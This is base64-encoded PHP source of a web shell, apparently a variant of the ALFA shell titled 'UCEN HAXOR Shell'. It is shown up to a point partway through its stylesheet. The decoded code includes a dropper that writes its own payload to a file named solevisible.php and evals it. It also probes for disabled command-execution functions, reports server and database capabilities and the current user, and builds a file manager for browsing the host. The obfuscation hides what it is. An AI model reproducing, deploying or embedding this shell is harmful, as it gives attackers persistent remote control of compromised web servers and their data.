ZEhsc1pUMGlabTl1ZEMxemFYcGxPak13Y0hnN0lHSmhZMnRuY205MWJtUTZJSFZ5YkNnbWNYVnZkRHRvZEhSd09pOHZjMjlzWlhacGMybGliR1V1WTI5dEwybHRZV2RsY3k5aVoxOWxabVpsWTNSZmRYQXVaMmxtSm5GMWIzUTdLU0J5WlhCbFlYUXRlQ0J6WTNKdmJHd2dNQ1VnTUNVZ2RISmhibk53WVhKbGJuUTdJR052Ykc5eU9pQnlaV1E3SUhSbGVIUXRjMmhoWkc5M09pQTRjSGdnT0hCNElERXpjSGc3SWo0OGMzUnliMjVuUGp4aVBqeGlhV2MrYzI5c1pYWnBjMmxpYkdWQVoyMWhhV3d1WTI5dFBDOWlQand2WW1sblBqd3ZjM1J5YjI1blBqd3ZjM0JoYmo0OEwyTmxiblJsY2o0bk96OCsnOw0KJGFsZmFfdXBsb2FkZXIgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLiRHTE9CQUxTWydfX0FMRkFfU0hFTExfQ09ERSddLiciKTskc29sZXZpc2libGUgPSBmb3Blbigic29sZXZpc2libGUucGhwIiwidyIpO2Z3cml0ZSgkc29sZXZpc2libGUsJHgpOyc7DQpkZWZpbmUoIkFMRkFfVVBMT0FERVIiLCAiZXZhbChiYXNlNjRfZGVjb2RlKCciLl9fWlc1amIyUmxjZygkYWxmYV91cGxvYWRlcikuIicpKSIpOw0KaWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7DQpmdW5jdGlvbiBBbGZhX0dldERpc2FibGVfRnVuY3Rpb24oKXsNCiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRhZmEgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+QWxsIEZ1bmN0aW9ucyBBY2Nlc3NpYmxlPC9zcGFuPic7DQppZihlbXB0eSgkZGlzZnVuKSlyZXR1cm4oJGFmYSk7DQokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOw0KJHMgPSBhcnJheV91bmlxdWUoJHMpOw0KJGk9MDsNCiRiPTA7DQokZnVuYyA9IGFycmF5KCdzeXN0ZW0nLCdleGVjJywnc2hlbGxfZXhlYycsJ3Byb2Nfb3BlbicsJ3BvcGVuJywncGFzc3RocnUnLCdzeW1saW5rJywnZGwnKTsNCiRibGFja19saXN0ID0gYXJyYXkoKTsNCiRhbGxvd19saXN0ID0gYXJyYXkoKTsNCmZvcmVhY2goJHMgYXMgJGQpew0KCSRkPXRyaW0oJGQpOw0KCWlmKGVtcHR5KCRkKXx8IWlzX2NhbGxhYmxlKCRkKSljb250aW51ZTsNCglpZighZnVuY3Rpb25fZXhpc3RzKCRkKSl7DQoJCWlmKGluX2FycmF5KCRkLCRmdW5jKSl7DQoJCQkkZGlzIC49ICRkLiIgfCAiOyRiKys7DQoJCQkkYmxhY2tfbGlzdFtdID0gJGQ7DQoJCX1lbHNlew0KCQkJJGFsbG93X2xpc3RbXSA9ICRkOw0KCQl9DQoJCSRpKys7DQoJfQ0KfQ0KaWYoJGk9PTApcmV0dXJuKCRhZmEpOw0KaWYoJGkgPD0gY291bnQoJGZ1bmMpKXsNCiRhbGwgPSBhcnJheV92YWx1ZXMoYXJyYXlfbWVyZ2UoJGJsYWNrX2xpc3QsICRhbGxvd19saXN0KSk7DQpyZXR1cm4oJzxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+Jy5pbXBsb2RlKCIgfCAiLCAkYWxsKS4nPC9zcGFuPicpOw0KfQ0KcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuJGRpcy4nPC9zcGFuPjxhIGlkPSJtZW51X29wdF9HZXREaXNGdW5jIiBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0ID0gdHJ1ZTtnKFwnR2V0RGlzRnVuY1wnLG51bGwsXCd3cFwnKTsiPjxzcGFuIGNsYXNzPSJoZWFkZXJfc2hvd19hbGwiPlNob3cgQWxsICgnLiRpLicpPC9zcGFuPjwvYT4nKTsNCn0NCmZ1bmN0aW9uIEFsZmFOdW0oKXsNCiRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KJGFsZmF4ID0gYXJyYXkoKTsNCiRmaW5kID0gYXJyYXkoKTsNCmZvcigkaT0xOyRpPD0xMDskaSsrKXsNCiRhbGZheFtdID0gJGk7DQp9DQpmb3JlYWNoKCRhcmdzIGFzICRhcmcpew0KJGZpbmRbXSA9ICRhcmc7DQp9DQplY2hvICc8c2NyaXB0Pic7DQpmb3JlYWNoKCRhbGZheCBhcyAkYWxmYSl7DQppZihpbl9hcnJheSgkYWxmYSwkZmluZCkpDQpjb250aW51ZTsNCmVjaG8gJ2FsZmEnLiRhbGZhLiJfPSI7DQp9DQplY2hvICciIjwvc2NyaXB0Pic7DQp9DQppZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpDQokX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCiRmcmVlU3BhY2UgPSBmdW5jdGlvbl9leGlzdHMoJ2Rpc2tmcmVlc3BhY2UnKT9AZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOic/JzsNCiR0b3RhbFNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrX3RvdGFsX3NwYWNlJyk/QGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7DQokdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQokb249IjxzcGFuIGNsYXNzPSdoZWFkZXJfb24nPiBPTiA8L3NwYW4+IjsNCiRvZj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnPiBPRkYgPC9zcGFuPiI7DQokbm9uZT0iPHNwYW4gY2xhc3M9J2hlYWRlcl9ub25lJz4gTk9ORSA8L3NwYW4+IjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc3NoMl9jb25uZWN0JykpDQokc3NoMj0kb247DQplbHNlDQokc3NoMj0kb2Y7DQppZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQ0KJGN1cmw9JG9uOw0KZWxzZQ0KJGN1cmw9JG9mOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKXx8Y2xhc3NfZXhpc3RzKCdteXNxbGknKSkNCiRteXNxbD0kb247DQplbHNlDQokbXlzcWw9JG9mOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQokbXNzcWw9JG9uOw0KZWxzZQ0KJG1zc3FsPSRvZjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KJHBnPSRvbjsNCmVsc2UNCiRwZz0kb2Y7DQppZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpDQokb3I9JG9uOw0KZWxzZQ0KJG9yPSRvZjsNCmlmKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKQ0KJGRpc2Z1bj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCmVsc2UNCiRkaXNmdW49IkFsbCBGdW5jdGlvbnMgRW5hYmxlIjsNCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkNCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZic+T048L3NwYW4+IjsNCmVsc2UNCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz5PRkY8L3NwYW4+IjsNCiRjZ2lfc2hlbGw9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJyBpZD0naGVhZGVyX2NnaXNoZWxsJz5PRkY8L3NwYW4+IjsNCmlmKEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSl7DQokYmFzZWRpcl9kYXRhID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOw0KaWYoc3RybGVuKCRiYXNlZGlyX2RhdGEpPjEyMCl7DQokb3Blbl9iPXN1YnN0cigkYmFzZWRpcl9kYXRhLDAsIDEyMCkuIi4uLiI7DQp9ZWxzZXsNCiRvcGVuX2IgPSAkYmFzZWRpcl9kYXRhOw0KfQ0KfWVsc2V7JG9wZW5fYj0kbm9uZTt9DQppZihAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpDQokc2FmZV9leGU9QGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpOw0KZWxzZQ0KJHNhZmVfZXhlPSRub25lOw0KaWYoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKQ0KJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7DQplbHNlDQokc2FmZV9pbmNsdWRlPSRub25lOw0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKQ0Kew0KJHVzZXIgPSBmdW5jdGlvbl9leGlzdHMoImdldF9jdXJyZW50X3VzZXIiKT9AZ2V0X2N1cnJlbnRfdXNlcigpOiI/Pz8/IjsNCiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoImdldG15dWlkIik/QGdldG15dWlkKCk6Ij8/Pz8iOw0KJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXlnaWQiKT9AZ2V0bXlnaWQoKToiPz8/PyI7DQokZ3JvdXAgPSAiPyI7DQp9ZWxzZXsNCiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZXVpZCIpP0Bwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOmFycmF5KCJuYW1lIj0+Ij8/Pz8iLCAidWlkIj0+Ij8/Pz8iKTsNCiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpP0Bwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOmFycmF5KCJuYW1lIj0+Ij8/Pz8iLCAiZ2lkIj0+Ij8/Pz8iKTsNCiR1c2VyID0gJHVpZFsnbmFtZSddOw0KJHVpZCA9ICR1aWRbJ3VpZCddOw0KJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KJGdpZCA9ICRnaWRbJ2dpZCddOw0KfQ0KJGN3ZF9saW5rcyA9ICcnOw0KJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiRuPWNvdW50KCRwYXRoKTsNCmZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQokY3dkX2xpbmtzIC49ICI8YSBjbGFzcz0naGVhZGVyX3B3ZCcgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOw0KJGNhY2hfY3dkX3BhdGggPSAiIjsNCmZvcigkaj0wOyAkajw9JGk7ICRqKyspew0KJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KJGNhY2hfY3dkX3BhdGggLj0gJHBhdGhbJGpdLicvJzsNCn0NCiRjd2RfbGlua3MgLj0gIlwiKScgcGF0aD0nIi4kY2FjaF9jd2RfcGF0aC4iJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0iLiRjYWNoX2N3ZF9wYXRoLiInPiIuJHBhdGhbJGldLiIvPC9hPiI7DQp9DQokZHJpdmVzID0gIiI7DQpmb3JlYWNoKHJhbmdlKCdhJywneicpIGFzICRkcml2ZSkNCmlmKEBpc19kaXIoJGRyaXZlLic6XFwnKSkNCiRkcml2ZXMgLj0gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGNsYXNzPSJoZWFkZXJfZHJpdmUiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCiRjc3Njb2RlID0nCS1tb3otYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbW96LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstbW96LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LXdlYmtpdC1hbmltYXRpb24tbmFtZTogc3Bpbjstd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAxczstbXMtYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1zLWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy1tcy1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1zLWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7YW5pbWF0aW9uLW5hbWU6IHNwaW47YW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyO2FuaW1hdGlvbi1kdXJhdGlvbjogMXM7JzsNCmVjaG8gJzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8bWV0YSBuYW1lPSJST0JPVFMiIGNvbnRlbnQ9Ik5PSU5ERVgsIE5PRk9MTE9XIiAvPg0KPGxpbmsgaHJlZj0iJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLiciIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIi8+DQo8dGl0bGU+Li46OiAnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nIH4gVUNFTiBIQVhPUiBTaGVsbCAtIHYnLl9fQUxGQV9WRVJTSU9OX18uJy0nLl9fQUxGQV9DT0RFX05BTUVfXy4nIDo6Li48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4nOz8+DQouaGxhYmFsZXtjb2xvcjojNjdhYmRmO2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgICNkOTE0OWE7bWFyZ2luLWxlZnQ6N3B4O3BhZGRpbmc6MnB4fSN0Ymxfc3ltcHBocCB0cnt0ZXh0LWFsaWduOmNlbnRlcn0jUGhwQ29kZSwucGhwLWV2YWxzLWFjZSwudmlld19tbF9jb250ZW50e3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO3JpZ2h0OjA7Ym90dG9tOjA7bGVmdDowO2JhY2tncm91bmQ6IzFiMjkyYjI2O3RvcDo1MHB4fS5lZGl0b3Itdmlld3twb3NpdGlvbjpyZWxhdGl2ZTtoZWlnaHQ6MTAwJX0udmlldy1jb250ZW50e3Bvc2l0aW9uOmFic29sdXRlO292ZXJmbG93LXk6YXV0bzt3aWR0aDoxMDAlO2hlaWdodDo5MyV9Ojotd2Via2l0LXNjcm9sbGJhci10cmFja3std2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtib3JkZXItcmFkaXVzOjEwcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwMTE1fTo6LXdlYmtpdC1zY3JvbGxiYXJ7d2lkdGg6MTBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAxMTV9Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYntib3JkZXItcmFkaXVzOjEwcHg7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCA2cHggcmdiYSgwLDAsMCwuMyk7YmFja2dyb3VuZC1jb2xvcjojMWU4MmI1fS5lZGl0b3ItZmlsZS1uYW1le21hcmdpbi1sZWZ0OjI5cHg7bWFyZ2luLXRvcDo0cHg7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwfS5lZGl0b3ItaWNvbntwb3NpdGlvbjphYnNvbHV0ZX0uaXNfYWN0aXZle2JhY2tncm91bmQ6cmdiYSg0OSw1NSw5MywuNzcpO2JvcmRlci1yYWRpdXM6MTBweH0uaGlzdG9yeS1saXN0e2hlaWdodDo4OCU7b3ZlcmZsb3cteTphdXRvfS5vcHQtdGl0bGV7cG9zaXRpb246YWJzb2x1dGU7bGVmdDo1MCU7dG9wOjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7Y29sb3I6IzJmZDA1MTtmb250LXNpemU6MjVweDtmb250LWZhbWlseTptb25vc3BhY2V9Lm9wdGlvbnNfbWluX2JhZGdle3Zpc2liaWxpdHk6aGlkZGVuO3RleHQtYWxpZ246Y2VudGVyO3JpZ2h0OjMwcHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOiMyYThhMjQ7cGFkZGluZzo2cHg7Ym9yZGVyLXJhZGl1czo1MCU7d2lkdGg6MTVweDtoZWlnaHQ6MTVweDtkaXNwbGF5OmlubGluZS1ibG9jaztwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTdweH0jY2dpbG9hZGVyLW1pbmltaXplZCwjZGF0YWJhc2Vfd2luZG93LW1pbmltaXplZCwjZWRpdG9yLW1pbmltaXplZCwjb3B0aW9uc193aW5kb3ctbWluaW1pemVke2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246Zml4ZWQ7cmlnaHQ6LTMwcHg7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDt0b3A6MzAlO3otaW5kZXg6OTk5OX0ubWluaW1pemVkLXdyYXBwZXJ7cG9zaXRpb246cmVsYXRpdmU7YmFja2dyb3VuZDojZDkxNDlhO3dpZHRoOjQ0cHg7aGVpZ2h0OjEzMHB4O2N1cnNvcjpwb2ludGVyO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6NXB4O2JvcmRlci10b3AtbGVmdC1yYWRpdXM6NXB4fS5taW5pbWl6ZWQtdGV4dHt0cmFuc2Zvcm06cm90YXRlKC05MGRlZyk7Y29sb3I6d2hlYXQ7Zm9udC1zaXplOngtbGFyZ2U7ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6LTUxcHg7d2lkdGg6MTI5cHg7dG9wOi0xMHB4O2JvcmRlci10b3AtbGVmdC1yYWRpdXM6NCU7aGVpZ2h0OjU2cHg7cGFkZGluZzozcHh9LmNsb3NlLWJ1dHRvbiwuZWRpdG9yLW1pbmltaXple2hlaWdodDoyNnB4O3dpZHRoOjM4cHg7cmlnaHQ6N3B4O2JhY2tncm91bmQ6IzFkNTY3MztjdXJzb3I6cG9pbnRlcjtwb3NpdGlvbjphYnNvbHV0ZTtib3gtc2l6aW5nOmJvcmRlci1ib3g7bGluZS1oZWlnaHQ6NTBweDtkaXNwbGF5OmlubGluZS1ibG9jazt0b3A6MTdweDtib3JkZXItcmFkaXVzOjEwMHB4fS5lZGl0b3ItbWluaW1pemV7cmlnaHQ6NTBweH0uY2xvc2UtYnV0dG9uOmFmdGVyLC5jbG9zZS1idXR0b246YmVmb3JlLC5lZGl0b3ItbWluaW1pemU6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoLTQ1ZGVnKTtjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO3RvcDo2MyU7cmlnaHQ6NnB4O21hcmdpbi10b3A6LTVweDttYXJnaW4tbGVmdDotMjVweDtkaXNwbGF5OmJsb2NrO2hlaWdodDo0cHg7d2lkdGg6MjdweDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjE2LDIwNywyMDcsLjc1KTt0cmFuc2l0aW9uOmFsbCAuMjVzIGVhc2Utb3V0fS5lZGl0b3ItbWluaW1pemU6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoMCl9LmNsb3NlLWJ1dHRvbjphZnRlcnt0cmFuc2Zvcm06cm90YXRlKC0xMzVkZWcpfS5jbG9zZS1idXR0b246aG92ZXI6YWZ0ZXIsLmNsb3NlLWJ1dHRvbjpob3ZlcjpiZWZvcmUsLmVkaXRvci1taW5pbWl6ZTpob3ZlcjpiZWZvcmV7YmFja2dyb3VuZC1jb2xvcjpyZWR9LmNsb3NlLWJ1dHRvbjpob3ZlciwuZWRpdG9yLW1pbmltaXplOmhvdmVye2JhY2tncm91bmQtY29sb3I6cmdiYSgzOSw2Niw4MCwuOTYpfSNjZ2lsb2FkZXIsI2RhdGFiYXNlX3dpbmRvdywjZWRpdG9yLCNvcHRpb25zX3dpbmRvd3tkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7dG9wOjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTt6LWluZGV4OjIwfS5lZGl0b3Itd3JhcHBlcnt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDoxJX0uZWRpdG9yLWhlYWRlcnt3aWR0aDo5NyU7YmFja2dyb3VuZDpyZ2JhKDIxLDY2LDg4LC45Myk7aGVpZ2h0OjM3cHg7bWFyZ2luLWxlZnQ6MTNweDtwb3NpdGlvbjpyZWxhdGl2ZTtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjE1cHg7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6MTVweH0uZWRpdG9yLXBhdGh7cG9zaXRpb246YWJzb2x1dGU7Zm9udC1zaXplOngtbGFyZ2U7bWFyZ2luLWxlZnQ6MTBweDt0b3A6NnB4O2NvbG9yOiMwMGZmN2Z9LmVkaXRvci1tb2RhbHtwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6MDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwxLDIzLC45NSk7aGVpZ2h0OjkwJTttYXJnaW4tbGVmdDoyMCU7bWFyZ2luLXJpZ2h0OjIlO2JvcmRlcjoycHggI2Q5MTQ5YSBzb2xpZH0uZWRpdG9yLWV4cGxvcmVye3dpZHRoOjE5JTtoZWlnaHQ6OTAlO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDEsMjMsLjk0KTtwb3NpdGlvbjphYnNvbHV0ZTt6LWluZGV4OjI7bGVmdDoxJTtib3JkZXI6MnB4ICNkOTE0OWEgc29saWR9LmVkaXRvci1jb250cm9sbGVye3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDotMTNweH0uZmlsZS1ob2xkZXJ7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6MTAwJTtoZWlnaHQ6MzBweH0uZmlsZS1ob2xkZXI+Lmhpc3Rvcnl7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6IzAzYjNhMztjdXJzb3I6cG9pbnRlcjtsZWZ0OjVweDtmb250LXNpemU6MThweDtmb250LWZhbWlseTpzYW5zLXNlcmlmO3dpZHRoOjg5JTtoZWlnaHQ6MTAwJTt6LWluZGV4OjM7Ym9yZGVyLXJhZGl1czoxMHB4O3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAuNnMgZWFzZS1vdXR9LmZpbGUtaG9sZGVyPi5oaXN0b3J5LWNsb3Nle2Rpc3BsYXk6YmxvY2s7b3BhY2l0eTowO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjJweDt3aWR0aDoyMHB4O3RvcDo0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOnJlZDtib3JkZXItcmFkaXVzOjEwMHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt6LWluZGV4OjEwO3RyYW5zaXRpb246b3BhY2l0eSAuNnMgZWFzZS1vdXQ7Zm9udC1zaXplOjE1cHg7aGVpZ2h0OjE5cHh9LmZpbGUtaG9sZGVyPi5oaXN0b3J5OmhvdmVye2JhY2tncm91bmQtY29sb3I6IzY0NjQ2NH0uZWRpdG9yLWV4cGxvcmVyPi5oaGVhZGVye3Bvc2l0aW9uOnJlbGF0aXZlO2NvbG9yOiMxNGZmMDc7Ym9yZGVyLWJvdHRvbToycHggIzIwNmFhMiBzb2xpZDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LWZhbWlseTpzYW5zLXNlcmlmO21hcmdpbi1ib3R0b206MTBweDtoZWlnaHQ6NTVweH0uZWRpdG9yLXNlYXJjaHtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206N3B4O2xlZnQ6MzFweH0uaGhlYWRlci10ZXh0e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6OHB4O3RvcDoycHh9Lmhpc3RvcnktY2xlYXJ7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6OHB4O3RvcDoycHg7Y3Vyc29yOnBvaW50ZXJ9LmVkaXRvci1ib2R5e3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbi1sZWZ0OjNweDtoZWlnaHQ6MTAwJX0uZWRpdG9yLWFuaW0tY2xvc2V7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yQ2xvc2V7MCV7dmlzaWJpbGl0eToxO29wYWNpdHk6MX0xMDAle3Zpc2liaWxpdHk6MDtvcGFjaXR5OjB9fS5lZGl0b3ItYW5pbS1taW5pbWl6ZXstd2Via2l0LWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yTWluaW1pemUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yTWluaW1pemUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JNaW5pbWl6ZXswJXtyaWdodDowO29wYWNpdHk6MX0xMDAle3JpZ2h0Oi0yMDAwcHg7b3BhY2l0eTowfX0uZWRpdG9yLWFuaW0tc2hvd3std2Via2l0LWFuaW1hdGlvbjplZGl0b3JTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjplZGl0b3JTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjplZGl0b3JTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvclNob3d7MCV7cmlnaHQ6LTIwMDBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1zaG93ey13ZWJraXQtYW5pbWF0aW9uOm1pbmltaXplU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOm1pbmltaXplU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOm1pbmltaXplU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBtaW5pbWl6ZVNob3d7MCV7cmlnaHQ6LTMwcHg7b3BhY2l0eTowfTEwMCV7cmlnaHQ6MDtvcGFjaXR5OjF9fS5taW5pbWl6ZWQtaGlkZXstd2Via2l0LWFuaW1hdGlvbjptaW5pbWl6ZUhpZGUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjptaW5pbWl6ZUhpZGUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjptaW5pbWl6ZUhpZGUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgbWluaW1pemVIaWRlezAle3JpZ2h0OjA7b3BhY2l0eToxfTEwMCV7cmlnaHQ6LTMwcHg7b3BhY2l0eTowfX0uc29sZXZpc2libGUtdGV4dDpob3Zlcnstd2Via2l0LXRleHQtc